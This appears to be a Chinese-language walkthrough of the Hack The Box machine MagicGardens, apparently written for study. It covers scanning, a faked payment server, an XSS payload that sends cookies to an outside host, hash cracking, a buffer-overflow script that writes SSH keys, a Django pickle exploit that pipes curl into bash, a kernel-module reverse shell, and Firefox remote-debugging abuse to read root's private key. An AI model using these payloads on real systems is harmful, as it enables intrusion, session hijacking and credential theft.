基本信息

端口扫描

22,80,5000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -sC -sV 10.10.11.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-20 11:41 CST
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.14s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: magicgardens.magicgardens.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http nginx 1.22.1
|_http-title: Magic Gardens
|_http-server-header: nginx/1.22.1
691/tcp filtered resvc
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: Host: magicgardens.magicgardens.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.41 seconds

80

需要加hosts:

1
10.10.11.9 magicgardens.htb

一个在线商城:

目录扫描

目录扫描可以看到admin之类的:

1
2
3
4
5
6
7
8
9
10
11
12
13
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://magicgardens.htb/

/admin (Status: 301) [Size: 0] [--> /admin/]
/cart (Status: 301) [Size: 0] [--> /cart/]
/catalog (Status: 301) [Size: 0] [--> /catalog/]
/check (Status: 301) [Size: 0] [--> /check/]
/login (Status: 301) [Size: 0] [--> /login/]
/logout (Status: 301) [Size: 0] [--> /logout/]
/profile (Status: 301) [Size: 0] [--> /profile/]
/register (Status: 301) [Size: 0] [--> /register/]
/restore (Status: 301) [Size: 0] [--> /restore/]
/search (Status: 301) [Size: 0] [--> /search/]
/subscribe (Status: 301) [Size: 0] [--> /subscribe/]

Magic Gardens

随意注册登录,发现一个Subscription功能:

正常测试请求包中得到银行域名honestbank.htb,同样加到hosts:

并且我们可以修改这里的bank地址,根据请求信息,我们应该需要伪造对应的响应来获取高级订阅:

payment

根据订阅时的请求数据直接构造对payment的请求,获取响应是402:

尝试自己构造server返回虚假的200响应,订阅时拦截替换银行地址,成功获取了高级订阅:

qrcode

预期路径后面打XSS会用到这个:

1
2
3
4
http://magicgardens.htb/qr_code/images/serve-qr-code-image/?text=MTA1OGE0MmE4MWU1MjUyYzc2Y2IzMDhiY2Q2YTAyMTQuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk%3D&cache_enabled=1&image_format=png&boost_error=1&encoding=utf-8&token=m.4..png.m.hRr1VC7DBMZLIdpg8rn2%3AnU3uw5StniCRNbPxPOKQOIv6rlvSp-blkH0tCYN4v5E

# text base64解码
1058a42a81e5252c76cb308bcd6a0214.0d341bcdc6746f1d452b3f4de32357b9

messages

发送message功能需要目标用户存在,自己注册两个号测试即可,存在上传附件功能,发送后另一个用户查看,可以确认文件路径格式:

1
2
3
/media/53ed67ce72148b6387c5d57cfa53c04d/b1aaa238a3bf9a19295face48bd5c607
miao1 qrcode.png
/media/md5(username)/md5(filename)

usernames

(这部分属于非预期路径)

当用户名目录存在时,直接访问目录提示403,不存在时404,所以可以忽略文件名,来爆破存在的用户名:

1
John

另外注册时后也会有提示用户名已经存在,可以用来爆破已存在的用户:

1
alex

purchase

测试购买,提示出示二维码享受折扣:

消息中也有来自morty的信息,要求我们发给他二维码:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/api/payments/':
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
data = json.loads(post_data)

# Mock response data
response_data = {
'status': '200',
'cardnumber': data['cardnumber']
}

# Send response back
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(response_data).encode('utf-8'))
else:
self.send_response(404)
self.end_headers()

def run(server_class=HTTPServer, handler_class=RequestHandler, port=8000):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Starting httpd server on port {port}')
httpd.serve_forever()

if __name__ == '__main__':
run()

XSS

这里需要一点合理推测,他要求我们发送二维码,二维码中信息就是那个代码,会自动显示在他那里,打XSS,所以我们需要用xss payload生成二维码发给他

1
2
3
4
5
6
7
1058a42a81e5252c76cb308bcd6a0214.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://10.10.14.7:7777/?cookie="+btoa(document.cookie);</script><p>

https://gchq.github.io/CyberChef/#recipe=Generate_QR_Code('PNG',5,4,'Medium')

cookie=Y3NyZnRva2VuPWpvY1ZVYU5pc0czbm5JeFJPZzJvSncySUZWek1HN2tHOyBzZXNzaW9uaWQ9LmVKeE5qVTFxd3pBUWhaTkZRZ01waFp5aTNRaExsdU5vVjdydnFnY3draXhGYmhNSjlFUHBvdEFEekhKNjN6cHVBcDdkOTc3SG01X1Y3MjY1bU80YkgtR3VKQk85UEJ1RTFUbkVfSVd3VGxubWtzYmdMVXRyRVRhZlEzTGRhVWdaWVlHd25WQ0g0ck9KNk5hdzBUTG1mel9TZHFLWnZ1OWt5YTY3UE9xR0htSEpFSGF6VEVuOVlmd29udnAzNlktQjZPQnpIQlM1Vk1qVkp2SWFlbk42dVhVZlpnTk9Kb2Z3VEJ0dG1XMEZyVTNWY0diTWdXbFJLY1dwdElJeTJSeXFmYTF0MC1vOVZZcXB5ckNhRzA2MWFtdXVoY0JDX2dEZXMyWDc6MXNBT0lsOkc4a3B1VnVMU1ExRkh6OXVyeUcyRDNsbTFIS1B5WEJRWnVfM1hSTzAtYXc=

csrftoken=jocVUaNisG3nnIxROg2oJw2IFVzMG7kG; sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sAOIl:G8kpuVuLSQ1FHz9uryG2D3lm1HKPyXBQZu_3XRO0-aw

Diango admin

然后替换cookie,成为morty,可以访问admin:

morty

然后在change password->stores users中可以得到morty的hash,和非预期部分一样,破解出morty密码后ssh登录:

1
2
3
4
5
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

sudo hashcat -m 10000 hash.txt ~/Tools/dict/rockyou.txt

jonasbrothers

Docker Registry

(这部分属于非预期路径,但预期路径得到alex后也会回到这里dump)

使用得到的用户名可以爆破5000端口的docker registry:

1
alex diamonds

dump

alex可以访问docker registry,常规dump:

1
2
3
python3 DockerGraber.py https://10.10.11.9 -U alex -P diamonds --list

python3 DockerGraber.py https://10.10.11.9 -U alex -P diamonds --dump magicgardens.htb

morty

其中480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz可以得到一个sqlite文件,其中得到morty的hash:

1
2|pbkdf2_sha256$600000$y1tAjUmiqLtSdpL2wL3h56$61u2yMfK3oYgnL31fX8R4k/0hTc6YXRfiOH4LYVsEXo=|2023-06-06 17:34:56.520750|1|morty|||1|1|2023-06-06 17:32:24|

然后可以破解出morty密码:

1
2
3
sudo hashcat -m 10000 hash.txt ~/Tools/dict/rockyou.txt

jonasbrothers

morty

得到的密码也是morty的ssh密码,但还没到user:

harvest

查看进程可以看到alex用户运行的harvest:

harvest

下载到本地分析:

1
2
3
4
morty@magicgardens:~$ which harvest
/usr/local/bin/harvest

scp morty@10.10.11.9:/usr/local/bin/harvest .

基础跟踪发现handle_raw_packets会接受输入,满足条件会写日志,这里注意是 raw_packet,那里实际判断的是ipv4和ipv6,而不是字符,就是对于ipv4数据只是输出到客户端终端,ipv6会进入日志

bof

本地运行测试:

1
2
sudo strace ./harvest server -l log_packet.log
./harvest client 127.0.0.1

emmm,本地kali里测试运行和宿主机交互流量干扰太严重,跳过了,但整个流程也不难,自己调吧

就是利用bof可以控制日志路径和写入内容,从而写公钥:

1
2
# 直接morty shell里运行client
/usr/local/bin/harvest client 10.10.11.9

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket

HOST = '::1'
PORT = 1337

server_address = (HOST, PORT)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)

try:
s.connect(server_address)
s.send(b'A' * 65000)
print("Send success")
except Exception as e:
print(f"Error: {e}")
finally:
s.close()

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import socket

HOST = '::1'
PORT = 8000


file = b'/home/alex/.ssh/authorized_keys'

nop = b'\r'

key_id_rsa = b'ssh-rsa xxxxxx miao'

packet_size = 65370

server_address = (HOST, PORT)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)

try:
s.connect(server_address)

nop_padding = nop * (packet_size - len(key_id_rsa))

packet = nop_padding + b'\n' + key_id_rsa + b'\n' + file

s.send(packet)
print("Send success")
except Exception as e:
print(f"Error: {e}")
finally:
s.close()

user flag

bof写公钥后ssh连接:

信息

然后alex登录的时候提示有邮件,查看邮件发现一个和密码相关的邮件:

提取出zip,解压需要密码,破解:

1
2
3
4
5
6
7
zip2john auth.zip

auth.zip/htpasswd:$pkzip$1*2*2*0*51*45*9c88bc7b*0*42*0*51*4ad2*2e19fd6e9297fca5ef8e694f7d809af4e10733241c168d6d4139a20d8d8df1a54f1199892de0a708ba3d859eceba1d2d132d575426aca799a8b0c530bf262f15b9ca7b64e00f28b56d5d9a676867dfaf03*$/pkzip$:htpasswd:auth.zip::auth.zip

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

realmadrid

然后使用得到的密码解压,里面是htpasswd文件,再次破解:

1
2
3
4
5
alex:$2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

diamonds

邮件中也提到registry密码相同,就是5000端口那里的docker registry

docker registry

然后就和前面的registry部分一样了,dump,只是预期是从env获取app.settings和secret key:

1
2
3
480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz

SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b

反序列化

拿到secret key后就可以生成任意cookie来打反序列化:

1
2
$ python3 exp.py
gAWVPQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlCiMFGN1cmwgMTAuMTAuMTQuN3xiYXNolEsATk5OTk6JiHSUUpQu:1sAQnV:lJidzlvieET2cEQsMfFh0XOLss5k8dqjljeyXVF68yw

然后替换cookie中的sessionid,刷新,触发反序列化

这样打到的是容器内root:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os
import subprocess
import pickle
from django.core import signing
# from django.contrib.sessions.serializers import PickleSerializer

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")

class PickleSerializer(object):
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

def loads(self, data):
return pickle.loads(data)

class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (
("curl 10.10.14.7|bash"),
0,
None,
None,
None,
None,
None,
False,
True,
))

signed_data = signing.dumps(
Exploit(),
key='55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b',
salt='django.contrib.sessions.backends.signed_cookies',
serializer=PickleSerializer,
compress=True
)

print(signed_data)

Docker Escape & root flag

容器有cap_sys_module权限,参考:

就按照里面的步骤,make后insmod,得到宿主机root:

1
2
make
insmod reverse-shell.ko

reverse-shell.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.10/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

1
2
3
4
5
6
7
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

非预期 root

firefox以root权限开着remote debug:

然后去对应profile目录查看,获取调试地址:

1
2
3
morty@magicgardens:/tmp/rust_mozprofilemf92Rc$ cat DevToolsActivePort
47013
/devtools/browser/0b11b87b-08dd-478e-8578-ad6f10e79510

转发端口,本地连接,打开新页面然后打印成pdf:

1
2
3
{"id": 1, "method": "Target.createTarget", "params": {"url": "file:///root/.ssh/id_rsa"}}

echo 'Page.printToPDF {}' | ./websocat.x86_64-apple-darwin -n1 --jsonrpc --jsonrpc-omit-jsonrpc ws://127.0.0.1:47013/devtools/page/fd76576a-954e-432c-85f5-77daf3bef11d

这个现在也有新的自动工具了:

  • offensive-security-pwncat/CDPwn: CDPwn is a python script designed to capture screenshots of files via the Chrome DevTools Protocol (CDP), a technique useful for privilege escalation when the CDP service runs with root permissions.
    https://github.com/offensive-security-pwncat/CDPwn

flags

然后使用得到的私钥登录:

shadow

1
2
3
root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7:::
alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki/5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7:::
morty:$y$j9T$0lTi82bFeyrX9oyH/XMnE.$V8E6g5oxm5/LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7:::

参考资料